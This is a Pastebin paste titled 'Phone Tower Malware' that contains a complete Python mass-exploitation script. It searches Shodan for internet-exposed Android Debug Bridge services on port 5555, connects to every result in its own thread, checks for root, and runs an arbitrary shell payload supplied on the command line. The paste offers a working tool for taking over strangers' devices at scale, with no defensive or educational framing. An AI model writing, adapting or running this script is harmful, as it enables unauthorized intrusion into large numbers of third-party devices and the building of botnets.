Advertisement
Sweetening

Phone Tower Malware

Jun 20th, 2024
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. import threading
  2. import time
  3. from shodan import Shodan
  4. from colorama import Fore, init
  5. from adb_shell.adb_device import AdbDeviceTcp
  6. from adb_shell.auth.sign_pythonrsa import PythonRSASigner
  7. import argparse
  8. import logging
  9.  
  10. # Initialize Colorama
  11. init(autoreset=True)
  12.  
  13. # Setup logging
  14. logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
  15.  
  16. # Command line arguments
  17. parser = argparse.ArgumentParser(description='ADB Connection Automation Script')
  18. parser.add_argument('--shodan-key', type=str, required=True, help='Shodan API Key')
  19. parser.add_argument('--payload', type=str, required=True, help='Command payload to execute on ADB')
  20. args = parser.parse_args()
  21.  
  22. # Shodan API
  23. api = Shodan(args.shodan_key)
  24.  
  25. def connection(host, port, payload):
  26. try:
  27. logging.info(f"{Fore.GREEN}[CONNECT] {Fore.MAGENTA} {host}:{port}")
  28. # Optional device authentication
  29. signer = PythonRSASigner() # Assuming keys are setup
  30. device = AdbDeviceTcp(host=host, port=port, default_transport_timeout_s=10, sign=signer)
  31. device.connect(auth_timeout_s=0.5)
  32.  
  33. if not device.is_rooted():
  34. logging.warning(f"{Fore.YELLOW}[WARNING] {Fore.MAGENTA} {host}:{port} is not rooted. Skipping.")
  35. return
  36.  
  37. device.shell(command=payload, shell_timeout_s=10)
  38. logging.info(f"{Fore.GREEN}[SUCCESS] {Fore.MAGENTA} Executed payload on {host}:{port}")
  39. except Exception as e:
  40. logging.error(f"{Fore.RED}[ERROR] {Fore.MAGENTA} {host}:{port} - {e}")
  41.  
  42. def main(payload):
  43. try:
  44. # Use Shodan API search cursor to iterate through results
  45. for result in api.search_cursor('port:"5555" "Android Debug Bridge"'):
  46. host = result['ip_str'].rstrip()
  47. port = result['port']
  48. threading.Thread(target=connection, args=(host, port, payload)).start()
  49. time.sleep(0.1) # Prevent launching too many threads at once
  50. except Exception as e:
  51. logging.critical(f"Failed to search devices: {e}")
  52. exit(1)
  53.  
  54. if __name__ == "__main__":
  55. main(args.payload)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement